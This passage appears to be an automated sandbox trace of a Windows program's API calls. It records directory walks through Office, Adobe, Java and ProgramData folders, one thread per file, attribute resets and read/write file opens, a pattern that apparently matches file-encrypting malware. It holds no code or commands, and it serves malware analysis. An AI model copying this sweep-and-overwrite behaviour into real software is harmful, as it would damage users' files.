lpFindFileData=0x428208 | out: lpFindFileData=0x428208*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a0a8 [0065.794] wcscmp (_String1=".", _String2=".") returned 0 [0065.794] FindNextFileW (in: hFindFile=0x40a0a8, lpFindFileData=0x428208 | out: lpFindFileData=0x428208*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.794] wcscmp (_String1="..", _String2=".") returned 1 [0065.794] wcscmp (_String1="..", _String2="..") returned 0 [0065.794] FindNextFileW (in: hFindFile=0x40a0a8, lpFindFileData=0x428208 | out: lpFindFileData=0x428208*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2028d90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xf2028d90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.0", cAlternateFileName="READER~1.0")) returned 1 [0065.794] wcscmp (_String1="Reader_10.0.0", _String2=".") returned 1 [0065.794] wcscmp (_String1="Reader_10.0.0", _String2="..") returned 1 [0065.794] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x56) returned 0x44a6d0 [0065.794] wcscpy (in: _Dest=0x44a6d0, _Source="C:\\Users\\All Users\\Adobe\\ARM" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM") returned="C:\\Users\\All Users\\Adobe\\ARM" [0065.794] wcscat (in: _Dest=0x44a6d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\") returned="C:\\Users\\All Users\\Adobe\\ARM\\" [0065.794] wcscat (in: _Dest=0x44a6d0, _Source="Reader_10.0.0" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0" [0065.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44a6d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1650 [0065.996] FindNextFileW (in: hFindFile=0x40a0a8, lpFindFileData=0x428208 | out: lpFindFileData=0x428208*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2028d90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xf2028d90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.0", cAlternateFileName="READER~1.0")) returned 0 [0065.996] FindClose (in: hFindFile=0x40a0a8 | out: hFindFile=0x40a0a8) returned 1 [0065.997] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428208) returned 1 [0065.997] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4023c0) returned 1 [0065.997] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c168) returned 1 Thread: id = 1386 os_tid = 0x16f8 [0065.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\english.lng")) Thread: id = 1387 os_tid = 0x16fc [0065.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add")) Thread: id = 1388 os_tid = 0x1700 [0065.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.manifest")) Thread: id = 1389 os_tid = 0x1704 [0065.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\exlirm.xml")) Thread: id = 1390 os_tid = 0x1708 [0065.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\exlirmv.xml")) Thread: id = 1391 os_tid = 0x170c [0065.797] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x43c6a0 [0065.797] wcscpy (in: _Dest=0x43c6a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS" [0065.797] wcscat (in: _Dest=0x43c6a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\" [0065.797] wcscat (in: _Dest=0x43c6a0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\*" [0065.797] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x427398 [0065.797] FindFirstFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\*", lpFindFileData=0x427398) Thread: id = 1392 os_tid = 0x1710 [0065.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\french.lng")) Thread: id = 1393 os_tid = 0x1714 [0065.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe.manifest")) Thread: id = 1394 os_tid = 0x1718 [0065.798] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x43c550 [0065.798] wcscpy (in: _Dest=0x43c550, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove" [0065.798] wcscat (in: _Dest=0x43c550, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\" [0065.798] wcscat (in: _Dest=0x43c550, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\*" [0065.798] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4256b8 [0065.798] FindFirstFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\*", lpFindFileData=0x4256b8) Thread: id = 1395 os_tid = 0x171c [0065.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\imdimp.add")) Thread: id = 1396 os_tid = 0x1720 [0065.799] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418ed8 [0065.799] wcscpy (in: _Dest=0x418ed8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM" [0065.799] wcscat (in: _Dest=0x418ed8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\" [0065.799] wcscat (in: _Dest=0x418ed8, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\*" [0065.799] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x425b88 [0065.799] FindFirstFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\*", lpFindFileData=0x425b88) Thread: id = 1397 os_tid = 0x1724 [0065.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Installed_resources14.xss" (normalized: "c:\\program files\\microsoft office\\office14\\installed_resources14.xss")) Thread: id = 1398 os_tid = 0x1728 [0065.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Installed_schemas14.xss" (normalized: "c:\\program files\\microsoft office\\office14\\installed_schemas14.xss")) Thread: id = 1399 os_tid = 0x172c [0065.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\ipirm.xml")) Thread: id = 1400 os_tid = 0x1730 [0065.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\ipirmv.xml")) Thread: id = 1401 os_tid = 0x1734 [0065.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXACS.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixacs.pdl")) Thread: id = 1402 os_tid = 0x1738 [0065.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXDB2.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixdb2.pdl")) Thread: id = 1403 os_tid = 0x173c [0065.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXGENERC.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixgenerc.pdl")) Thread: id = 1404 os_tid = 0x1740 [0065.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXOLEDB.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixoledb.pdl")) Thread: id = 1405 os_tid = 0x1744 [0065.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXORACLE.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixoracle.pdl")) Thread: id = 1406 os_tid = 0x1748 [0065.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXSSRV.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixssrv.pdl")) Thread: id = 1407 os_tid = 0x174c [0065.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\jfont.dat")) Thread: id = 1408 os_tid = 0x1750 Thread: id = 1410 os_tid = 0x1758 [0065.890] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\eu_es\\reader_10.0.helpcfg")) returned 0x20 [0065.890] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\Reader_10.0.helpcfg", dwFileAttributes=0x20) Thread: id = 1411 os_tid = 0x175c [0065.891] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg" (normalized: "c:\\programdata\\microsoft\\windows nt\\msscan\\welcomescan.jpg")) returned 0x20 [0065.891] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg", dwFileAttributes=0x20) returned 0 [0065.891] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg" (normalized: "c:\\programdata\\microsoft\\windows nt\\msscan\\welcomescan.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0065.891] GetLastError () returned 0x5 [0065.891] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg", dwFileAttributes=0x20) returned 0 [0065.892] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45e5b8) returned 1 Thread: id = 1412 os_tid = 0x1760 [0065.892] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x446880 [0065.892] wcscpy (in: _Dest=0x446880, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU" [0065.892] wcscat (in: _Dest=0x446880, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\" [0065.893] wcscat (in: _Dest=0x446880, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\*" [0065.893] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x485248 [0065.893] FindFirstFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\*", lpFindFileData=0x485248) Thread: id = 1413 os_tid = 0x1764 [0065.893] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x439950 [0065.893] wcscpy (in: _Dest=0x439950, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment" [0065.893] wcscat (in: _Dest=0x439950, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\" [0065.893] wcscat (in: _Dest=0x439950, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\*" [0065.893] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x488000 [0065.893] FindFirstFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\*", lpFindFileData=0x488000) Thread: id = 1414 os_tid = 0x1768 [0065.894] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x438ea0 [0065.894] wcscpy (in: _Dest=0x438ea0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45" [0065.894] wcscat (in: _Dest=0x438ea0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\" [0065.894] wcscat (in: _Dest=0x438ea0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\*" [0065.894] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x486a58 [0065.894] FindFirstFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\*", lpFindFileData=0x486a58) Thread: id = 1415 os_tid = 0x176c [0065.894] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile33.bmp")) returned 0x20 [0065.894] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp", dwFileAttributes=0x20) returned 0 [0065.894] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile33.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0065.895] GetLastError () returned 0x5 [0065.895] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp", dwFileAttributes=0x20) returned 0 [0065.895] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43f2c8) returned 1 Thread: id = 1416 os_tid = 0x1770 [0065.896] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile34.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile34.bmp")) Thread: id = 1417 os_tid = 0x1774 [0065.897] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile35.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile35.bmp")) Thread: id = 1418 os_tid = 0x1778 [0065.897] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile36.bmp")) Thread: id = 1419 os_tid = 0x177c [0065.898] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile37.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile37.bmp")) Thread: id = 1420 os_tid = 0x1780 [0065.898] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile38.bmp")) Thread: id = 1421 os_tid = 0x1784 [0065.899] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile39.bmp")) Thread: id = 1422 os_tid = 0x1788 [0065.899] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile40.bmp")) Thread: id = 1423 os_tid = 0x178c [0065.900] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile41.bmp")) Thread: id = 1424 os_tid = 0x1790 [0065.900] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile42.bmp")) Thread: id = 1425 os_tid = 0x1794 [0065.901] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile43.bmp")) Thread: id = 1426 os_tid = 0x1798 [0065.901] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile44.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile44.bmp")) Thread: id = 1427 os_tid = 0x179c [0065.902] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-ntkl.etl" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-ntkl.etl")) Thread: id = 1428 os_tid = 0x17a0 [0065.903] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-12.xml" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-07-12.xml")) Thread: id = 1429 os_tid = 0x17a4 [0065.903] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-26.xml" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-07-26.xml")) Thread: id = 1430 os_tid = 0x17a8 [0065.903] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-latest.xml")) Thread: id = 1431 os_tid = 0x17ac [0065.904] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report.html")) Thread: id = 1432 os_tid = 0x17b0 [0065.904] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-trace.etl" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-trace.etl")) Thread: id = 1433 os_tid = 0x17b4 [0065.905] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x5ec61c8 [0065.905] wcscpy (in: _Dest=0x5ec61c8, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033" [0065.905] wcscat (in: _Dest=0x5ec61c8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\" [0065.905] wcscat (in: _Dest=0x5ec61c8, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\*") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\*" [0065.905] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x485980 [0065.905] FindFirstFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\*", lpFindFileData=0x485980) Thread: id = 1434 os_tid = 0x17b8 [0065.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143743.gif")) Thread: id = 1435 os_tid = 0x17bc [0065.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143744.gif")) Thread: id = 1436 os_tid = 0x17c0 [0065.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143745.gif")) Thread: id = 1437 os_tid = 0x17c4 [0065.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143746.gif")) Thread: id = 1438 os_tid = 0x17c8 [0065.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143748.gif")) Thread: id = 1439 os_tid = 0x17cc [0065.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143749.gif")) Thread: id = 1440 os_tid = 0x17d0 [0065.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143750.gif")) Thread: id = 1441 os_tid = 0x17d4 [0065.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143752.gif")) Thread: id = 1442 os_tid = 0x17d8 [0065.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143753.gif")) Thread: id = 1443 os_tid = 0x17dc [0065.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143754.gif")) Thread: id = 1444 os_tid = 0x17e0 [0065.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143758.gif")) Thread: id = 1445 os_tid = 0x17e4 [0065.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00516l.gif")) Thread: id = 1446 os_tid = 0x17e8 [0065.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00531l.gif")) Thread: id = 1447 os_tid = 0x17ec [0065.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00673l.gif")) Thread: id = 1448 os_tid = 0x17f0 [0065.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00703l.gif")) Thread: id = 1449 os_tid = 0x17f4 [0065.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00760l.gif")) Thread: id = 1450 os_tid = 0x17f8 [0065.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00780l.gif")) Thread: id = 1451 os_tid = 0x17fc [0065.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF" (normalized: 